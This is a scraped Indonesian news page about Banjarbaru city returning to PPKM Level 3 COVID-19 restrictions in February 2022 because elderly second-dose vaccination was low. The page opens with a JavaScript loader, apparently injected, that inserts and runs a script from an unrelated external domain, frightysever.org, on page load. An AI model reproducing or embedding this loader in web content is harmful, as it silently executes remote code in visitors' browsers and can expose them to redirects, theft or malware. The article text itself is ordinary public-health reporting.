(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kota Banjarbaru Kembali ke PPKM Level 3


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru kembali ke Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Level 3, menyusul adanya Inmendagri nomor 11 tahun 2022 yang menyatakan Kota Banjarbaru kembali ke PPKM Level 3.

Epidemiolog Kesehatan dari Dinkes Banjarbaru Banjarbaru, Edi Sampana mengatakan, salah satu penyebab utamanya adalah capaian vaksinasi lansia untuk dosis 2 masih di bawah 60 persen.

“Banyak variabel yg mempengaruhi status PPKM, salah satunya vaksinasi lansia yang masih di angka 55,94 persen,” ungkapnya kepada Kanalkalimantan.com, Selasa (15/2/2022).

Disamping itu dari assesment hal yang mempengaruhi juga angka kasus baru, angka rawar inap, CFR, kapasitas testing, kapasitas tracking, BOR, cakupan vaksinasi dosis pertama dan cakupan vaksinasi dosis pertama lansia.

 

 

Baca juga: Tiga Kali Surat Peringatan, Akhirnya Bangunan di Bekas Pasar Bauntung Banjarbaru Dibongkar

“Supaya PPKM Banjarbaru bisa turun ke level 2 atau 1, kita harus menggenjot dosis kedua lansia. Saat ini kita di Banjarbaru baru mencapai 55,94 persen, dalam 14 hari kedepan harus tercapai 60 persen,” ujarnya.

Dinkes Banjarbaru mengimbau kepada masyarakat untuk segera melakukan vaksinasi terutama lansia yang rentan terkena Covid-19, kemudian menghindari kerumunan lebih dari 15 menit.

Terus disiplin menerapkan protokol kesehatan, kalau ada gejala sakit tenggorokan, batuk, pilek, sakit kepala segera lapor ke Puskesmas atau tes rapid antigen mandiri,

“Tingkatkan imunitas dgn selalu gembira, berjemur matahari, cukup istirahat/gizi/olahraga,” tambahnya.

Baca juga: Janji Jokowi Ubah Sampah Plastik Jadi Listrik, Demi Lindungi Laut Indonesia

Lanjut Edi, kalau ada gejala sakit tenggorokan, batuk, pilek, sakit kepala segera lapor ke puskesmas atau tes rapid antigen mandiri, jika positif Covid-19 segera lakukan isolasi mandiri minimal 10 hari dan mengakses telemedisin kalau terjadi gejala ringan atau sedang dan segera lapor ke Puskesmas atau langsung ke RS kalau gejala sedang atau berat.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

15 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

17 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

18 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

19 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

19 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

23 jam ago

This website uses cookies.